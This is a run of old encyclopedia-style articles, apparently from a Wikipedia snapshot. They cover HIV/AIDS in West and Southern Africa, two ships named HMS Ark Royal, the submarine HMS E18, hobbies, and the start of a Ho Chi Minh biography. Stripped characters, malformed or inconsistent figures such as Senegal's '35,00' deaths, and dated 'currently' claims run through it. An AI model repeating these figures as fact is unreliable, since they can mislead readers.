          For the purposes of this discussion, Western Africa shall include the coastal countries of Mauritania, Senegal, The Gambia, Cape Verde, Guinea-Bissau, Guinea, Sierra Leone, Liberia, Cte d'Ivoire, Ghana, Togo, Benin, Nigeria and the landlocked states of Mali, Burkina Faso and Niger.


          
            
              	Country

              	Adult prevalence

              	Total HIV

              	Deaths 2005
            


            
              	Cote D'Ivoire

              	7.1%

              	750,000

              	65,000
            


            
              	Liberia

              	5.9%

              	100,000

              	72,000
            


            
              	Nigeria

              	5.4%

              	3,600,000

              	310,000
            


            
              	Guinea-Bissau

              	3.8%

              	32,000

              	2,700
            


            
              	Togo

              	3.2%

              	110,000

              	9,100
            


            
              	Gambia

              	2.4%

              	20,000

              	1,300
            


            
              	Ghana

              	2.3%

              	320,000

              	29,000
            


            
              	Burkina Faso

              	2.0%

              	150,000

              	12,000
            


            
              	Benin

              	1.8%

              	87,000

              	9,600
            


            
              	Mali

              	1.7%

              	130,000

              	11,000
            


            
              	Sierra Leone

              	1.6%

              	48,000

              	4,600
            


            
              	Guinea

              	1.5%

              	85,000

              	7,100
            


            
              	Niger

              	1.1%

              	79,000

              	7,600
            


            
              	Senegal

              	0.8%

              	44,000

              	35,00
            


            
              	Mauritania

              	0.7%

              	12,000

              	<1,000
            

          


          The region has generally high levels of infection of both HIV-1 and HIV-2. The onset of the HIV epidemic in West Africa began in 1985 with reported cases in Cote d'Ivoire, Benin and Mali. Nigeria, Burkina Faso, Ghana, Cameroon, Senegal and Liberia followed in 1986. Sierra Leone, Togo and Niger in 1987; Mauritiana in 1988; The Gambia, Guinea-Bissau, and Guinea in 1989; and finally Cape Verde in 1990.


          HIV prevalence in West Africa is lowest in Chad, Niger, Mali, Mauritania and highest in Burkina Faso, Cte d'Ivoire, and Nigeria. Nigeria has the second largest HIV prevalence in Africa after South Africa, although the infection rate (number of patients relative to the entire population) based upon Nigeria's estimated population is much lower, generally believed to be well under 7%, as opposed to South Africa's which is well into the double-digits (nearer 30%).


          The main driver of infection in the region is commercial sex. In the Ghanaian capital Accra, for example, 80% of HIV infections in young men had been acquired from women who sell sex. In Niger, the adult national HIV prevalence was 1% in 2003, yet surveys of sex workers in different regions found a HIV infection rate of between 9 and 38%.


          


          Southern Africa


          In the mid-1980s, HIV and AIDS were virtually unheard of in Southern Africa - it is now the worst-affected region in the world. There has been no sign of overall national decline in HIV/AIDS in any of the eleven countries: Angola, Namibia, Zambia, Zimbabwe, Botswana, Malawi, Mozambique, South Africa, the two small states of Lesotho and Swaziland and the island of Madagascar. In its December 2005 report, UNAIDS reports that Zimbabwe has experienced a drop in infections; however, most independent observers find the confidence of UNAIDS in the Mugabe government's HIV figures to be misplaced, especially since infections have continued to increase in all other southern African countries (with the exception of a possible small drop in Botswana). Almost 30% of the global number of people living with HIV live in an area where only 2% of the world's population reside.


          Nearly every country in the region has a national HIV prevalence level of at least 10%. The only exception to this rule is Angola, with a rate of less than 5%. This is not the result of a successful national response to the threat of AIDS but of the long-running Angolan Civil War (1975-2002).


          Most HIV infections found in Southern Africa are HIV-1, the world's most common HIV infection, which predominates everywhere except West Africa, home to HIV-2. The first cases of HIV in the region were reported in Zimbabwe in 1985.


          


          Impacts of the AIDS Epidemic


          Africa's HIV/AIDS epidemic has had important effects on society, economics and politics in the continent. (Source: Tony Barnett and Alan Whiteside, "AIDS in the 21st Century: Disease and Globalization," (MacMillan Palgrave 2003)). The economic impact of AIDS is noticed in slower economic growth, a distortion in spending, increased inflows of international assistance, and changing demographic structure of the population. There are also fears that a major long-term drop in adult life-expectancy will change the rationale for economic decision-making, contributing to lower savings and investment rates. However, most of these impacts remain theoretically possible rather than empirically observed. Economists in South Africa have developed the most sophisticated models for the impacts of the epidemic, and Nicoli Nattrass in "The Moral Economy of AIDS in South Africa" estimates that it is possible for the South African government to provide universal access to anti-retroviral therapy without overstretching the national budget. AIDS has intersected with drought, unemployment and other sources of stress to create what Alan Whiteside and Alex de Waal have called "new variant famine," characterized by the inability of poor, AIDS-affected households to cope with the demands of securing sufficient food during a time of food crisis.


          The social impact of HIV/AIDS is most evident in the continent's orphans crisis. Approximately 12 million children in sub-Saharan Africa are estimated to be orphaned by AIDS. These children are overwhelmingly cared for by relatives including especially grandmothers, but the capacity of the extended family to cope with this burden is stretched very thin and is, in places, collapsing. UNICEF and other international agencies consider a scaled-up response to Africa's orphan crisis a humanitarian priority. Practitioners and welfare specialists are sensitive to the need not to identify and isolate children orphaned by AIDS from other needy and vulnerable children, in part because of fear of stigmatizing them. Therefore, there is a search for effective social policies and programs that will provide necessary assistance and protection for all orphans and vulnerable children.


          The political impact of the epidemic has been little studied. There has been much concern that high levels of HIV among soldiers and political leaders could lead to a "hollowing out" or even collapse of essential state structures, and an escalation of conflict. Laurie Garrett of the Council on Foreign Affairs is most publicly associated with this position. However, it is also clear that the epidemic has coincided with the entrenchment of democracy in much of Africa, and that governments and armies have learned to cope with the effects of the epidemic.


          


          Spawning new epidemics in Africa and Abroad


          Because HIV has destroyed the immune systems of at least a quarter of the population in some areas, far more people are not only developing Tuberculosis but spreading it to otherwise healthy neighbours.
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              The Ark Royal, engraving by Claes Jansz Visscher
            


            
              	Career (England)

              	[image: Royal Navy Ensign]
            


            
              	Name:

              	HMS Ark Raleigh
            


            
              	Ordered:

              	1586
            


            
              	Launched:

              	1587
            


            
              	Commissioned:

              	1587
            


            
              	Renamed:

              	
                
                  	HMS Ark Royal, 1587


                  	HMS Anne Royal, 1608

                

              
            


            
              	Honours and

              awards:

              	
                Participated in:


                
                  	Spanish Armada

                

              
            


            
              	Fate:

              	Sunk in April 1636, raised and broken up in 1638
            


            
              	General characteristics as built
            


            
              	Propulsion:

              	Sails
            


            
              	Complement:

              	268 sailors, 32 gunners, 100 soldiers
            


            
              	Armament:

              	
                1599 - 55 guns:


                
                  	4  60 pdrs


                  	4  30 pdrs


                  	12  18 pdrs


                  	12  9 pdrs


                  	6  6 pdrs


                  	17  small guns

                

              
            


            
              	General characteristics after 1608 rebuild
            


            
              	Class and type:

              	42-gun Royal Ship
            


            
              	Tons burthen:

              	800 tons (812.8 tonnes)
            


            
              	Length:

              	103 ft (31.4 m) (keel)
            


            
              	Beam:

              	37 ft (11.3 m)
            


            
              	Depth of hold:

              	16 ft (4.9 m)
            


            
              	Propulsion:

              	Sails
            


            
              	Sail plan:

              	Full rigged ship
            


            
              	Armament:

              	42 guns of various weights of shot
            

          


          HMS Ark Royal was an English galleon, originally ordered for Sir Walter Raleigh and later purchased by the crown for service in the Royal Navy. She was used as the English flagship in a number of engagements, including the battles that resulted in the defeat of the Spanish Armada, and had a long career spanning over 50 years. Her fame would subsequently lead to a number of warships of the Royal Navy being named Ark Royal in her honour, including a number of flagships of the fleet.


          


          Construction and early years


          Ark Royal was originally built to order by the shipbuilder R. Chapman, of Deptford. The ship was to be called Ark, which became Ark Raleigh, following the convention at the time where the ship bore the name of its owner. The crown, in the form of Queen Elizabeth I, purchased the ship from Raleigh in January 1587, for the sum of 5,000 (although this took the form of a reduction in the sum Sir Walter owed the queen: he received Exchequer tallies, but no money). Her new commander, Lord Howard of Effingham described the sum as "money well given". She was henceforth to be known as Ark Royal. As built, she had two gun decks, a double forecastle, a quarter deck and a poop deck right aft. She was an effective warship, but tended to roll heavily, to the discomfort of the embarked soldiers unused to the motion.


          


          Career


          Her first action came during the Spanish Armada, when Ark Royal, as one of the largest vessels in the English fleet, was the flagship of Charles Howard, 1st Earl of Nottingham, the Lord High Admiral of England. After the inital defeat of the Armada, Ark Royal led the chase of the fleeing ships into the North Sea and beyond the Firth of Forth. She was also used as Howard's flagship during the 1596 raid on Cdiz, which resulted in the destruction of much of the Spanish fleet at harbour. Ark Royal was again the flagship during 1599 when a Spanish invasion again threatened.


          On the accession of James I to the English throne, Ark Royal was renamed Anne Royal, after his consort, Anne of Denmark. She was then rebuilt at Woolwich Dockyard in 1608 by Phineas Pett I as a 42-gun Royal Ship. Under her new name, she was the flagship of Lord Wimbledon in the 1625 raid on Cdiz which ended in disaster due to inadequate preparation.


          


          Loss


          She remained in service until April 1636, when she was being moved from the River Medway to serve as the flagship of Sir John Pennington. She struck her own anchor whilst underway and stove in her timbers, sinking in the river. She was raised at a cost greater than her original purchase price, but was found to be damaged beyond repair, and subsequently broken up in 1638.
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        HMS Ark Royal (R07)


        
          

          Template:Infobox Ship


          HMS Ark Royal (R07), the last Invincible-class light aircraft carrier to be completed, is the fifth ship of the Royal Navy named in honour of the flagship of the English fleet that defeated the Spanish Armada. Ark Royal is slightly larger than her sister ships and during construction she was fitted with a steeper ski-jump ramp, (twelve degrees, as opposed to seven degrees of the Invincible) to improve STOVL take-off performance for the Harrier aircraft.


          She is currently the flagship of the active fleet.


          


          Construction


          Her keel was laid by Swan Hunter at Wallsend on 7 December 1978. She was launched on 20 June 1981 sponsored by Queen Elizabeth, the Queen Mother and commissioned on 1 November 1985. Her name was originally intended to be Indomitable in line with her sister ships ( HMS Invincible and HMS Illustrious), but public resentment at the scrapping of the previous Ark Royal (Britain's last large aircraft carrier) in 1980, led the Royal Navy to announce that the name would be revived on the new ship.


          


          Refits


          [bookmark: 1999-2001]


          1999-2001


          In May 1999 Ark Royal put into Rosyth for refitting, which included the removal of the Sea Dart missiles and covering over of the foredeck to allow for an enlarged deck park for aircraft. She was recommissioned in 2001.


          [bookmark: 2004-2006]


          2004-2006


          In April 2004 Ark Royal entered into extended readiness, following which she entered refit with the return to service of Illustrious. Ark Royal completed an extensive refit in August 2006 and returned to Portsmouth, her home port, to rejoin the fleet on 28 October 2006 where she underwent 10 weeks of training and sea trials.l. Ark Royal will be utilised as an LPH, replacing Ocean while she undergoes refit. On 16 November 2006 a British Army WAH-64 Apache attack helicopter landed on Ark Royal for the first time marking an increase in the carriers capability. On March 22 2007, HMS Ark Royal was returned to the Royal Navy Fleet after a 2 year refit worth 18 million. As of May 2007, she once again became the Fleet Flagship, reclaiming the title from her sister ship, Illustrious, which had been Flagship since the end of her refit in 2005.


          


          Operations


          Ark Royal, commanded by Captain Alan Massey, took part in the 2003 invasion of Iraq where her complement consisted of helicopters rather than her usual mix of helicopters and Harrier aircraft. During operations in the war two Westland Sea King helicopters, from 849 Naval Air Squadron, collided in mid-air with the loss of one American and six British lives.


          Ark Royal is expected to remain in service until 2016, at which time she will be replaced with the second of the Royal Navy future carriers. These new vessels are expected to displace three times that of the Invincible class and offer a steep change in operational capability.


          Affiliations


          
            	The Queen's Royal Lancers


            	Royal Air Force Aerobatic Team


            	City of Leeds


            	Worshipful Company of Shipwrights


            	Leeds United F.C.


            	Jaguar Cars Ltd
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              E18 shortly after passing through the Oresund in September 1915. Note the camouflage paintwork to prevent detection by shore observers
            


            
              	Career

              	
                
                  [image: RN Ensign]
                

              
            


            
              	Builder:

              	Vickers
            


            
              	Laid down:

              	1914
            


            
              	Launched:

              	4 March 1915
            


            
              	Commissioned:

              	6 June 1915
            


            
              	Fate:

              	Lost with all hands, late May 1916
            


            
              	General characteristics
            


            
              	Displacement:

              	662 tons (surfaced

              807 tons (submerged)
            


            
              	Length:

              	54.86 m
            


            
              	Beam:

              	6.86 m
            


            
              	Draught:

              	3.81 m
            


            
              	Propulsion:

              	Twin-shift, 2 x 1,600bhp (1190kW) Vickers diesel, 2 x 840shp (626kW) electric motors
            


            
              	Speed:

              	15.25 knots (surfaced)

              9.75 knots (submerged)
            


            
              	Range:

              	325 nm surfaced
            


            
              	Endurance:

              	24 days
            


            
              	Complement:

              	3 officers, 28 ratings
            


            
              	Armament:

              	2  18 inch bow tube

              2  18 inch beam tubes

              1  18 inch stern tube

              (10 torpedoes)

              1 x 12 pdr deck gun
            

          


          HMS E18 was an E-class submarine of the Royal Navy, launched in 1915 and lost in the Baltic Sea in May 1916 while operating out of Reval. The exact circumstances surrounding the sinking remain a mystery to this day; the wreck of the submarine has never been found.


          


          History


          [bookmark: 1915]


          1915


          E18 entered service in the UK in 1915, commanded by Lieutenant-Commander R.C. Halahan. She joined HMS Maidstone on the 25 June 1915 and soon began North Sea patrols with the 8th Flotilla at Harwich. On her one and only patrol prior to leaving for the Baltic E18 departed Yarmouth with D7 and E13 on 9 July 1915. On the 14 July 1915 when at the mouth of the Ems deep in enemy waters Halahan brought E18 to the surface as he preferred the sea to using the toilet arrangements onboard. While in this awkward situation a Zeppelin appeared, E18 dived to the sea bed but was easily visible from the air. E18 was then straddled with 12 bombs which caused no damage other than some embarrassment for Halahan in being caught with his pants down. The fact E18 was surfaced wasn't passed on via Halahan's patrol report, he stated he was submerged at 20 ft, and an inquiry into submarine visibility from the air led E18 being painted in her camouflage scheme. Strangely there is no German claim of an attack on a submarine - the Zeppelins in the air that day in this area were, L4, L6 and L7, none of which sighted a submarine let alone attacked one. L6 was the closet to E18's position when a Zeppelin was sighted but she moved away to the west when the explosions occurred. German minesweeping divisions were exploding mines during the time of the alleged attack which could explain what the crew of E18 heard while submerged.


          E18 was dispatched to the Baltic as part of the British submarine flotilla in the Baltic. She left Harwich on August 28 with her sister-ship HMS E19, first travelling to Newcastle to swing their compasses during which E19 burnt out one of her main armatures. After the delay to repair E19 they left Newcastle for the Baltic on 4 September at 1630 hrs. The two submarines separated and passed through the Oresund between Denmark and Sweden on the night of the 8th- 9 September. During the passage E19 at one stage found herself only metres from E18's stern and decided not to enter together. E18 encountered two German destroyers. She dived into water only 23feet (7m) deep and  for almost three hours  progressed by crashing into the seabed and rising back up to break the surface. After several hours resting in deep water she surfaced in the morning only to be fired on by the cruiser Amazone; once again she dived to the bottom. The German cruiser and attending destroyers could see a constant stream of bubbles coming from the position of where E18 dived. They began to criss-cross over the top of E18 until the crew realised something was giving their position away, they shut off the leak and the Germans left the area. E18 was lucky the German ships were not then equipped with depth charges. After escaping she was set upon by another two destroyers one of which came close to ramming her. On the 10 September 1915 Halahan sighted what he thought was the German battlecruisers Lutzow and Seydlitz and tried in vain to get into an attacking position, what ships he sighted was uncertain as the German battlecruisers where not in the area at this time. On September 12 she met up with E19 and E9 off Dagerort, arriving in Reval (now Tallinn, Estonia) on the 13th. Halahan later wrote that entering the Baltic again should not be attempted unless absoulutely necessary.


          She operated out of Reval through the autumn of 1915. E18 departed on her first Baltic patrol on the 21 September 1915, next day on the 22nd she was in an excellent position to torpedo the German cruiser Bremen, a surfaced Russian submarine caused the Bremen to turn away just as E18 was about to fire and she missed her opportunity, she returned from this first patrol on September 29, 1915.


          On October 9, 1915 E18 departed for her second patrol, by the October 12 she was in position to attack the pre-dreadnought SMS Braunschweig whilst patrolling off Libau (now Liepāja, Latvia), but her torpedo tube bow caps could not be opened, she then tried her beam tube but was forced to dive by German destroyers, when she did manage to get a torpedo shot off from her stern tube the range was too great and the opportunity passed. She returned to Reval on 16 October 1915 at 1700 hrs.


          E18 departed for her third patrol on 9 November 1915, and was to patrol the Swedish trade routes, she arrived back at Reval on 15 November 1915 having sighted nothing of significance. During this patrol the crew had missed the visit of the Tzar.


          Her fourth patrol was to patrol off Libau and try and find a way through the mine fields by following the courses of ships coming and going. She departed for this patrol on 30 November 1915 and returned on the 4 December 1915. This was her last patrol for 1915.


          [bookmark: 1916]


          1916


          E18 left for her fifth patrol on 6 January 1916, her orders were to patrol the area between the Sound and Bornholm. The first two days of this patrol they were trying to call her back in as the patrol had been cancelled but she didn't reply. On returning she encountered gale force winds and icy conditions to the point where she had difficulty closing her conning tower hatch due to ice. She was unable to return to Reval on her own and had to wait hours for the Finnish ice breaker Sampo to arrive and bring her back in, she arrived in Reval on the 13 January 1916 completely iced over, after this the British submarines were iced in and could not move until April. Although she did not sail E18 was made ready for sea on the 13 February 1916. She was the first of the British subs to make a trip in the bay at Reval on 29 March 1916 after the big freeze.


          After operations were halted for the winter, E18 resumed patrols in the spring of 1916. Her second last patrol was to the Gulf of Riga with HMS E1, leaving Reval on the 28 April 1916 to show their presence to the Germans, this was achieved by diving twice while the Russian destroyers shelled beaches. While returning via Moon sound on the 1 May 1916 E18 ran aground and had to be towed off, she returned to Reval on 2 May. During this operation E18 and E1 tied up alongside the Russian battleship Slava.


          In late May, she sailed for her final patrol; E1, E8 and two Russian submarines left the same day. Records differ on her exact fate, but it is certain neither she or any of her crew ever returned.


          The diary of Francis Goodhart, commander of E8, states that E1 and the Russian Bars departed at 1400 hrs, E8, E18 and the Russian Gerpard left port together at 1800 hrs on May 25; E8 's patrol was uneventful, and she returned to Reval on the 31st. However, E18 failed to return; by 5 June Goodhart noted that the crews were "very worried". On the 6th, he noted that he had "Heard from Essen that their W.T. had vaguely indicated presence of a submarine off Redshoff on Tuesday. Very slender hope..." By the next day, June 8, he recorded that a meeting had noted she had sailed with only 15 days food; the situation was "very hopeless now, I fear. No news whatsoever" By the 9 June E8's officers began collecting the belongings of E18's Halahan, Landale and Colson from their cabins. On a sad note Goodhart learnt that Halahan had his future told by a local woman prior to this last patrol. She told him he was in grave danger, this affected the superstitious Halahan who then asked the wife of the British Vice Consul in Reval to send a wire to his family before they got the official Navy telegram in case something happened to him. This indeed she did when Halahan failed to return.


          Michael Wilson, a historian, records that E8 and E18 sailed on the 25th and parted the next day. On the 26th, at 4:42 PM, E18 torpedoed the German destroyer V100, blowing off her bow. Had it not been for the calm seas, it is likely she would have sank from the damage; as it was, she was towed back to port with several of her crew killed, requiring major repairs. Two days later, on the 28th, E18 was sighted by a German aircraft off Memel (now Klaipėda, Lithuania), E18 was last sighted on the 1 June 1916 at 1500 hrs sailing north by the German U-boat UB-30 northwest of Steinort. Wilson further states that it is believed she was lost "most likely by striking a mine" on her return to Reval west of Osel. The logs of the German destroyers with V100 also support the same dates as Goodhart's diary and Wilson's observations.


          Various sources record her simply as having been sunk on May 24 by a German decoy ship, though this clashes with the known attack on V100 on the 26th and the observations reported by Wilson and Goodhart in subsequent days. It is quite possible that this is a garbling of an encounter between one of the Russian submarines and a decoy vessel around the same time. The German decoy ship Kronprinz Wilhelm, known as K, did attack two submarines during E18 's patrol in May. K rammed the Russian Gerpard and the following day took the Russian Bars under fire in Hano Bay, the Germans thought they had sunk both submarines, E18 was not in the area of these actions.


          Tsar Nicholas II sent a telegram of condolences on the loss of E18, and awarded Halahan the Order of St. George, with the other two officers receiving the Order of St. Vladimir and each of the crew being posthumously awarded a medal. These Orders were not normally awarded posthumously. Two of E18's crew did not sail on her last mission; one, who had measles, later transferred to E19. The other was E18's signalman Albert Edward Robinson who was replaced on this mission by E8's telegraphist George Gaby; he was later sent home in January 1917 and joined E4 on her recommissioning. When people research the subject of E18, 11 June 1916 is stated as the date on the crews papers as being lost at sea, as they had no idea when and where E18 was lost at the time this date was purely for administration purposes to close the books on E18. The wreck of E18 has never been located.
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          A hobby is a spare-time recreational pursuit.


          


          Origin of term


          A hobby-horse was a wooden or wickerwork toy made to be ridden just like the real hobby. From this came the expression "to ride one's hobby-horse", meaning "to follow a favourite pastime", and in turn, hobby in the modern sense of recreation.


          Hobbies are practiced for interest and enjoyment, rather than financial reward. Examples include collecting, creative and artistic pursuits, making, tinkering, sports and adult education. Engaging in a hobby can lead to acquiring substantial skill, knowledge, and experience. However, personal fulfillment is the aim.


          What are hobbies for some people are professions for others: a chef may enjoy cooking as a hobby, while a professional game tester might enjoy playing (and helping to debug) computer games. Generally speaking, the person who does something for fun, not remuneration, is called an amateur (or hobbyist), as distinct from a professional.


          An important determinant of what is considered a hobby, as distinct from a profession (beyond the lack of remuneration), is probably how easy it is to make a living at the activity. Almost no one can make a living at cigarette card or stamp collecting, but many people find it enjoyable; so it is commonly regarded as a hobby.


          Amateur astronomers often make meaningful contributions to the professionals. It is not entirely uncommon for a hobbyist to be the first to discover a celestial body or event.


          In the UK, the pejorative noun anorak (similar to the Japanese " otaku", meaning a geek or enthusiast) is often applied to people who obsessively pursue a particular hobby that is considered boring, such as train spotting or stamp collecting.


          


          Development of hobbies into other ventures


          Whilst some hobbies strike many people as trivial or boring, hobbyists have found something compelling and entertaining about them (see geek). Much early scientific research was, in effect, a hobby of the wealthy; more recently, Linux began as a student's hobby. A hobby may not be as trivial as it appears at a time when it has relatively few followers. Thus a British conservationist recalls that when seen wearing field glasses at a London station in the 1930s he was asked if he was going to the (horse) races. The anecdote indicates that at the time an interest in nature was not widely perceived as a credible hobby. Practitioners of that hobby went on to become the germs of the conservation movement that flourished in Britain from 1965 onwards and became a global political movement within a generation. Conversely, the hobby of aircraft spotting probably originated as part of a serious activity designed to detect arriving waves of enemy aircraft entering English airspace during World War II. In peacetime it clearly has no such practical or social purpose.


          


          Types of hobbies


          


          Collecting


          The hobby of collecting consists of acquiring specific items based on a particular interest of the collector. These collections of things are often highly organized, carefully cataloged, and attractively displayed. Since collecting depends on the interests of the individual collector, it may deal with almost any subject. The depth and breadth of the collection may also vary. Some collectors choose to focus on a specific subtopic within their area of general interest: for example, 19th Century postage stamps, milk bottle labels from Sussex, or Mongolian harnesses and tack. Others prefer to keep a more general collection, accumulating Star Trek merchandise, or stamps from all countries of the world. Some collections are capable of being completed, at least to the extent of owning one sample of each possible item in the collection (e.g. a copy of every book by Agatha Christie). Collectors who specifically try to assemble complete collections in this way are sometimes called " completists." Upon completing a particular collection, they may stop collecting, expand the collection to include related items, or begin an entirely new collection. The most popular fields in collecting have specialized commercial dealers that trade in the items being collected, as well as related accessories. Many of these dealers started as collectors themselves, then turned their hobby into a profession. There are some limitations on collecting, however. Someone who has the financial means to collect stamps might not be able to collect sports-cars, for example. One alternative to collecting physical objects is collecting experiences of a particular kind. Examples include collecting through observation or photography (especially popular for transportation, e.g. train spotting, aircraft spotting, metrophiles, bus spotting; see also I-Spy), bird-watching, and systematically visiting continents, countries, states, national parks, counties etc.


          


          Games
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              Card game, 1895.
            

          


          A game is a structured or semi-structured recreational activity, usually undertaken for enjoyment (although sometimes for physical or vocational training). A goal that the players try to reach and a set of rules concerning what the players can or cannot do create the challenge and structure in a game, and are thus central to its definition. Known to have been played as far back as prehistoric times, games are generally distinct from work, which is usually carried out for remuneration. Because a wide variety of activities are enjoyable, numerous types of games have developed. What creates an enjoyable game varies from one individual to the next. Age, understanding (of the game), intelligence level, and (to some extent) personality are factors that determine what games a person enjoys. Depending on these factors, people vary the number and complexity of objectives, rules, challenges, and participants to increase their enjoyment. Games generally involve mental and/or physical stimulation. For this reason, they are beneficial after a large meal or a long and tedious task, but counterproductive if played immediately before sleeping. Many games help develop practical skills and serve as exercise or perform an educational, simulational or psychological role & also roaming.


          


          Outdoor recreation


          Outdoor pursuits can be loosely considered to be the group of sports and activities which are dependent on the great outdoors, incorporating such things as hill walking, trekking, canoeing, kayaking, climbing, caving, and arguably broader groups such as watersports and snowsport. Outdoor sports most often include nature in the "sport".


          While obviously enjoyed by many as a bit of fun, an adrenaline rush, or an escape from reality, outdoor sport is also frequently used as an extremely effective medium in education and teambuilding. It is this ethos that has given rise to links with young people, such as the Duke of Edinburgh's Award and PGL, and large numbers of outdoor education centres being established, as the stress on the importance of a balanced and widespread education continues to grow. Depending on the persons' desired level of adrenaline, outdoors can be considered a type of hobby.


          As interest increases, so has the rise of commercial outdoor pursuits, with outdoor kit stores opening up in large numbers and thriving, as well as outdoor pursuits journalism and magazines, both on paper (for example Trail ), and online (such as Eclipse Outdoor ).


          The increased accessibility of outdoor pursuits resources has been the source of some negative publicity over the years also, with complaints of destroying the landscape. A widely-seen example is the destruction of hillsides as footpaths are eroded by excessive numbers of visitors.


          


          Performing arts
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          Many hobbies involve performing by the hobbyist, such as acting, juggling, magic, dancing and other performing arts.


          


          Creative Hobbies


          Some hobbies result in an end product of sorts. Examples of this would be woodworking, jewelry making, playing an instrument, software projects, artistic projects, creating models out of card or paper called papercraft up to higher end projects like building or restoring a car, or building a computer from scratch. While some of these may just be for the enjoyment of the hobbyist, there have been instances where it has come into demand at the request of friends or passerbys observing said project. At this point it has the potential to become a small business.


          


          Cooking


          Cooking is an act of preparing food for eating. It encompasses a vast range of methods, tools and combinations of ingredients to improve the flavour or digestibility of food. It generally requires the selection, measurement and combining of ingredients in an ordered procedure in an effort to achieve the desired result. Constraints on success include the variability of ingredients, ambient conditions, tools and the skill of the individual cooking. The diversity of cooking worldwide is a reflection of the myriad nutritional, aesthetic, agricultural, economic, cultural and religious considerations that impact upon it. Cooking requires applying heat to a food which usually, though not always, chemically transforms it, thus changing its flavor, texture, appearance, and nutritional properties. Cooking proper, as opposed to roasting, requires the boiling of water in a receptacle, and was practiced at least since the 10th millennium BC with the introduction of pottery. There is archaeological evidence of roasted foodstuffs, both animal and vegetable, in human (Homo erectus) campsites dating from the earliest known use of fire some 800,000 years ago.


          


          Gardening


          Gardening is the art of growing plants with the goal of crafting a purposeful landscape. Residential gardening most often takes place in or about a residence, in a space referred to as the garden. Although a garden typically is located on the land near a residence, it may also be located in a roof, in an atrium, on a balcony, in a windowbox, or on a patio or vivarium.
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              A gardener
            

          


          Gardening also takes place in non-residential green areas, such as parks, public or semi-public gardens ( botanical gardens or zoological gardens), amusement and theme parks, along transportation corridors, and around tourist attractions and hotels. In these situations, a staff of gardeners or groundskeepers maintains the gardens.


          Indoor gardening is concerned with the growing of houseplants within a residence or building, in a conservatory, or in a greenhouse. Indoor gardens are sometimes incorporated as part of air conditioning or heating systems.


          Water gardening is concerned with growing plants adapted to pools and ponds. Bog gardens are also considered a type of water garden. These all require special conditions and considerations. A simple water garden may consist solely of a tub containing the water and plant(s).
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              September 2, 1945 September 2, 1969
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              	N/A
            


            
              	Succeededby

              	Tn Đức Thắng
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              September 2, 1945 September 20, 1955
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              	N/A
            


            
              	Succeededby

              	Phạm Văn Đồng
            


            
              	
                

              
            


            
              	Born

              	May 19, 1890(1890-05-19)

              Nghệ An Province, Vietnam
            


            
              	Died

              	September 2, 1969 (aged79)

              Hanoi, Vietnam
            


            
              	Nationality

              	Vietnamese
            


            
              	Politicalparty

              	Vietnam Workers' Party
            

          


          Hồ Ch Minh listen (name pronounced [h̤ tɕǐmɪ̄ɲ]) ( May 19, 1890  September 2, 1969) was a Communist, Marxist-Leninist Vietnamese revolutionary and statesman, who later became prime minister (19461955) and president (19461969) of the Democratic Republic of Vietnam (North Vietnam).


          Ho led the Viet Minh independence movement from 1941 onward, establishing the communist-governed Democratic Republic of Vietnam in 1945 and defeating the French Union in 1954 at Dien Bien Phu. He led the North Vietnamese in the Vietnam War until his death; six years later, the war ended with a North Vietnamese victory, and Vietnamese unification followed. He was named by Time Magazine as one of the 100 most influential people of the 20th century, while the former capital of South Vietnam, Saigon, was renamed Ho Chi Minh City in his honour.


          


          Early life


          Hồ Ch Minh was born, as Nguyễn Sinh Cung, in 1890 in Hong Tr Village, his mother's hometown. From 1895, he grew up in his paternal hometown of Kim Lin Village, Nam Đn District, Nghệ An Province, Vietnam. He had three siblings, his sister Bạch Lin (or Nguyễn Thị Thanh), a clerk in the French Army, his brother Nguyễn Sinh Khim (or Nguyễn Tất Đạt), a geomancer and traditional herbalist, and another brother (Nguyễn Sinh Nhuận) who died in his infancy. Following Confucian traditions, at the age of 10 his father named him Nguyễn Tất Thnh (Nguyễn the Accomplished). Ho's father, Nguyễn Sinh Sắc, was a Confucian scholar, small time teacher and later an imperial magistrate in a small remote district Binh Khe (Qui Nhon). He was later sacked for torturing a peasant to death during his drunkenness. Different to his father, Ho were with french education, attended lyce in Huế, the alma mater of his later disciples, Phạm Văn ồng and V Nguyn Gip. He later left his studies and chose to teach at Dục Thanh school in Phan Thiết.


          


          First sojourn in France


          On 5 June 1911, Hồ Ch Minh left Vietnam on a French steamer, Amiral Latouche-Trville, working as a kitchen helper. Arriving in Marseille, France, he applied for the French Colonial Administrative School but his application was rejected. During his stay, he worked as a cleaner, waiter, and film retoucher. Hồ spent most of his free time in public libraries reading history books and newspapers to familiarize himself with Western society and politics.


          


          In the USA


          In 1912, again working as the cook's helper on a ship, Hồ Ch Minh traveled to the United States. From 1912 to 1913, he lived in New York ( Harlem) and Boston, where he worked as a baker at the Parker House Hotel. He worked in menial jobs and later claimed to have worked for a wealthy family in Brooklyn between 1917 and 1918, and during this time he may have heard Marcus Garvey speak in Harlem. It is believed that while in the United States he made contact with Korean nationalists, an experience that developed his political outlook.


          


          In England


          At various points between 1913 and 1919, Hồ lived in West Ealing, west London, and later in Crouch End, Hornsey, north London. He is reported to have worked as a chef at the Drayton Court Hotel, on The Avenue, West Ealing. It is claimed that Ho trained as a pastry chef under the legendary French master, Escoffier, at the Carlton Hotel in the Haymarket, Westminster, but there is no evidence to support this. However, the wall of New Zealand House, home of the New Zealand High Commission, which now stands on the site of the Carlton Hotel, displays a Blue Plaque, stating that Hồ worked there in 1913 as a waiter.


          


          Political education in France


          From 19191923, while living in France, Hồ Ch Minh embraced communism, through his friend Marcel Cachin ( SFIO). Ho claimed to have arrived in Paris from London in 1917 but French police only have documents of his arrival in June 1919. Following World War I, under the name of Nguyễn i Quốc (Nguyen the Patriot), he petitioned for recognition of the civil rights of the Vietnamese people in French Indochina to the Western powers at the Versailles peace talks, but was ignored. Citing the language and the spirit of the U.S. Declaration of Independence, Ho petitioned U.S. President Woodrow Wilson for help to remove the French from Vietnam and replace it with a new, nationalist government. His request was ignored.


          In 1921, during the Congress of Tours, France, Nguyen Ai Quoc became a founding member of the Parti Communiste Franais ( French Communist Party) and spent much of his time in Moscow afterwards, becoming the Comintern's Asia hand and the principal theorist on colonial warfare. It was at this time that Nguyễn i Quốc took the name of "Hồ Ch Minh", a Vietnamese name combining a common Vietnamese surname (Hồ, 胡) with a given name meaning "enlightened will" (from Sino-Vietnamese 志 明; Ch meaning 'will' (or spirit), and Minh meaning 'light'). During the Indochina War, the PCF would be involved with antiwar propaganda, sabotage and support for the revolutionary effort.


          


          In the Soviet Union and China


